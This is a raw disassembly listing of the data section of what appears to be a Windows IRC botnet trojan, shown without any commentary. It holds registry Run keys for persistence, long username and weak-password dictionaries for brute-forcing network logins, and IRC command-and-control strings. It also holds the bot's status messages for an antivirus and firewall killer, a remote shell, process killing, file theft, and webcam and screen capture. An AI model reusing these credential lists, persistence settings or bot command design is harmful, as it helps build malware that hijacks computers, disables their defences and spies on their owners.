aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 8 dd offset dword_43D7D8 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 8 dword_429498 dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aIntranet db 'intranet',0 ; DATA XREF: ___:00429484o align 4 aLan db 'lan',0 ; DATA XREF: ___:0042947Co aMain db 'main',0 ; DATA XREF: ___:00429478o align 4 aWinpass db 'winpass',0 ; DATA XREF: ___:00429474o aBlank db 'blank',0 ; DATA XREF: ___:00429470o align 4 aOffice db 'office',0 ; DATA XREF: ___:0042946Co align 4 aControl db 'control',0 ; DATA XREF: ___:00429468o aXp db 'xp',0 ; DATA XREF: ___:00429464o align 4 aNokia db 'nokia',0 ; DATA XREF: ___:00429460o align 10h aHp db 'hp',0 ; DATA XREF: ___:0042945Co align 4 aSiemens db 'siemens',0 ; DATA XREF: ___:00429458o aCompaq db 'compaq',0 ; DATA XREF: ___:00429454o align 4 aDell db 'dell',0 ; DATA XREF: ___:00429450o align 4 aCisco db 'cisco',0 ; DATA XREF: ___:0042944Co align 4 aIbm db 'ibm',0 ; DATA XREF: ___:00429448o aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429440o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:0042943Co align 4 aSql db 'sql',0 ; DATA XREF: ___:00429438o aSa db 'sa',0 ; DATA XREF: ___:00429434o align 10h aDb1234 db 'db1234',0 ; DATA XREF: ___:00429430o align 4 aDb1 db 'db1',0 ; DATA XREF: ___:00429428o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:00429424o align 10h aData db 'data',0 ; DATA XREF: ___:00429420o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: ___:0042941Co align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: ___:00429418o align 4 aDbpass db 'dbpass',0 ; DATA XREF: ___:00429414o align 4 aAccess db 'access',0 ; DATA XREF: ___:00429410o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:00429408o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: ___:00429404o align 10h aDomain db 'domain',0 ; DATA XREF: ___:00429400o align 4 aHello db 'hello',0 ; DATA XREF: ___:004293FCo align 10h aHell db 'hell',0 ; DATA XREF: ___:004293F8o align 4 aGod db 'god',0 ; DATA XREF: ___:004293F4o aSex db 'sex',0 ; DATA XREF: ___:004293F0o ; ___:off_4385B0o aSlut db 'slut',0 ; DATA XREF: ___:004293ECo align 4 aBitch db 'bitch',0 ; DATA XREF: ___:004293E8o align 10h aFuck db 'fuck',0 ; DATA XREF: ___:004293E4o align 4 aExchange db 'exchange',0 ; DATA XREF: ___:004293E0o align 4 aBackup db 'backup',0 ; DATA XREF: ___:004293DCo align 4 aTechnical db 'technical',0 ; DATA XREF: ___:004293D8o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: ___:004293D4o align 4 aLogin db 'login',0 ; DATA XREF: ___:004293D0o align 4 aMary db 'mary',0 ; DATA XREF: ___:004293CCo align 4 aKatie db 'katie',0 ; DATA XREF: ___:004293C8o align 4 aKate db 'kate',0 ; DATA XREF: ___:004293C0o align 4 aGeorge db 'george',0 ; DATA XREF: ___:004293BCo align 4 aEric db 'eric',0 ; DATA XREF: ___:004293B8o align 4 aChris db 'chris',0 ; DATA XREF: ___:004293B4o align 4 aIan db 'ian',0 ; DATA XREF: ___:004293B0o aNeil db 'neil',0 ; DATA XREF: ___:004293ACo align 4 aLee db 'lee',0 ; DATA XREF: ___:004293A8o aBrian db 'brian',0 ; DATA XREF: ___:004293A4o align 4 aSusan db 'susan',0 ; DATA XREF: ___:0042939Co align 4 aSue db 'sue',0 ; DATA XREF: ___:00429398o aSam db 'sam',0 ; DATA XREF: ___:00429394o aLuke db 'luke',0 ; DATA XREF: ___:00429390o align 4 aPeter db 'peter',0 ; DATA XREF: ___:0042938Co ; ___:004293A0o align 4 aJohn db 'john',0 ; DATA XREF: ___:00429388o align 4 aMike db 'mike',0 ; DATA XREF: ___:00429384o align 4 aBill db 'bill',0 ; DATA XREF: ___:00429380o align 4 aFred db 'fred',0 ; DATA XREF: ___:0042937Co align 4 aJoe db 'joe',0 ; DATA XREF: ___:00429378o aJen db 'jen',0 ; DATA XREF: ___:00429374o aBob db 'bob',0 ; DATA XREF: ___:00429370o ; ___:004293C4o aQwe db 'qwe',0 ; DATA XREF: ___:0042936Co aZxc db 'zxc',0 ; DATA XREF: ___:00429368o aAsd db 'asd',0 ; DATA XREF: ___:00429364o aQaz db 'qaz',0 ; DATA XREF: ___:00429360o aWin2000 db 'win2000',0 ; DATA XREF: ___:0042935Co aWinnt db 'winnt',0 ; DATA XREF: ___:00429358o align 10h aWinxp db 'winxp',0 ; DATA XREF: ___:00429354o align 4 aWin2k db 'win2k',0 ; DATA XREF: ___:00429350o align 10h aWin98 db 'win98',0 ; DATA XREF: ___:0042934Co align 4 aWindows db 'windows',0 ; DATA XREF: ___:00429348o aOeminstall db 'oeminstall',0 ; DATA XREF: ___:00429344o align 4 aOemuser db 'oemuser',0 ; DATA XREF: ___:00429340o aOem db 'oem',0 ; DATA XREF: ___:0042933Co aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o ; ___:00429338o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: ___:00429334o align 4 aHome db 'home',0 ; DATA XREF: ___:00429330o align 4 aAccounting db 'accounting',0 ; DATA XREF: ___:0042932Co align 10h aAccounts db 'accounts',0 ; DATA XREF: ___:00429328o align 4 aInternet db 'internet',0 ; DATA XREF: ___:00429324o ; ___:00429480o align 4 aWww db 'www',0 ; DATA XREF: ___:00429320o aWeb db 'web',0 ; DATA XREF: ___:0042931Co aOutlook db 'outlook',0 ; DATA XREF: ___:00429318o aMail db 'mail',0 ; DATA XREF: ___:00429314o align 10h aQwerty db 'qwerty',0 ; DATA XREF: ___:00429310o align 4 aNull_1 db 'null',0 ; DATA XREF: ___:0042930Co align 10h aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo ; ___:00429304o align 4 aSystem db 'system',0 ; DATA XREF: ___:00429300o align 10h aChangeme db 'changeme',0 ; DATA XREF: ___:004292F8o align 4 aLinux db 'linux',0 ; DATA XREF: ___:004292F4o align 4 aUnix db 'unix',0 ; DATA XREF: ___:004292F0o align 4 aDemo db 'demo',0 ; DATA XREF: ___:004292ECo align 4 aNone db 'none',0 ; DATA XREF: ___:004292E8o align 4 aTest db 'test',0 ; DATA XREF: ___:004292E0o align 4 a2004 db '2004',0 ; DATA XREF: ___:004292DCo align 4 a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo ; ___:004292D8o align 4 a2002 db '2002',0 ; DATA XREF: ___:004292D4o align 4 a2001 db '2001',0 ; DATA XREF: ___:004292D0o align 4 a2000 db '2000',0 ; DATA XREF: ___:004292CCo align 4 a1234567890 db '1234567890',0 ; DATA XREF: ___:004292C8o align 4 a123456789 db '123456789',0 ; DATA XREF: ___:004292C4o align 4 a12345678 db '12345678',0 ; DATA XREF: ___:004292C0o align 10h a1234567 db '1234567',0 ; DATA XREF: ___:004292BCo a123456 db '123456',0 ; DATA XREF: ___:004292B8o align 10h a12345 db '12345',0 ; DATA XREF: ___:004292B4o align 4 a1234 db '1234',0 ; DATA XREF: ___:004292B0o align 10h a123 db '123',0 ; DATA XREF: ___:004292ACo a12 db '12',0 ; DATA XREF: ___:004292A8o align 4 a1: ; DATA XREF: ___:004292A4o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: ___:004292A0o aPwd db 'pwd',0 ; DATA XREF: ___:0042929Co aPass db 'pass',0 ; DATA XREF: ___:00429298o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: ___:00429294o align 4 aPasswd db 'passwd',0 ; DATA XREF: ___:00429290o align 10h aPassword db 'password',0 ; DATA XREF: ___:0042928Co align 4 aPassword1 db 'password1',0 ; DATA XREF: ___:00429288o align 4 aAdm db 'adm',0 ; DATA XREF: ___:00429284o aDb2 db 'db2',0 ; DATA XREF: ___:00429260o ; ___:0042942Co aOracle db 'oracle',0 ; DATA XREF: ___:0042925Co ; ___:00429444o align 4 aDba db 'dba',0 ; DATA XREF: ___:00429258o aDatabase db 'database',0 ; DATA XREF: ___:00429254o ; ___:0042940Co align 4 aDefault db 'default',0 ; DATA XREF: ___:00429250o ; ___:004292FCo aGuest_0 db 'guest',0 ; DATA XREF: ___:0042924Co ; ___:004292E4o align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: ___:00429248o align 4 aTeacher db 'teacher',0 ; DATA XREF: ___:00429244o ; ___:0042948Co aStudent db 'student',0 ; DATA XREF: ___:00429240o ; ___:00429488o aOwner db 'owner',0 ; DATA XREF: ___:0042923Co align 4 aComputer db 'computer',0 ; DATA XREF: ___:00429238o align 4 aRoot db 'root',0 ; DATA XREF: ___:00429234o ; ___:00429308o align 10h aStaff db 'staff',0 ; DATA XREF: ___:00429230o ; ___:00429490o align 4 aAdmin db 'admin',0 ; DATA XREF: ___:0042922Co ; ___:00429280o align 10h aAdmins db 'admins',0 ; DATA XREF: ___:00429228o ; ___:0042927Co align 4 aAdministrat db 'administrat',0 ; DATA XREF: ___:00429224o ; ___:00429278o aAdministrateur db 'administrateur',0 ; DATA XREF: ___:00429220o ; ___:00429274o align 4 aAdministrador db 'administrador',0 ; DATA XREF: ___:0042921Co ; ___:00429270o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:00429218o ; ___:0042926Co align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42915Co dword_4299A0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_4299D4 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 10h unk_429A00 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h unk_429A40 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429A64 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_429A80 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_429A8C dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A2F+7Eo dword_429A94 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B3+EAo ... unk_429A9C db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429B04 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429B24 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_429B44 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_429B98 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429C18: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_429C1C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 10h unk_429C40 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_429C68 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_429C8C db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_429CB0 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429CD4 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429CF8 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429D14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429D40 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429D64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429D8C db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_429DB8 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429DE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E04 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429E24 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_429E4C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_429E74 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_429E94 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_429EC4 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429EE4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F14 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429F38 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_429F54 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429F78 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_429F90 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_429FD0 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429FE8 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_42A004 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_42A024 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42A03C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_42A068: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_42A06C db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_42A090 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_42A0B4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_42A0F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_42A134 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_42A168 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 10h unk_42A1A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_42A1D4 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_42A208 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 10h unk_42A230 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_42A260 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_42A29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_42A2CC db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 10h dword_42A300 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_42A31C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_42A34C db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_42A374 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_42A394 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h 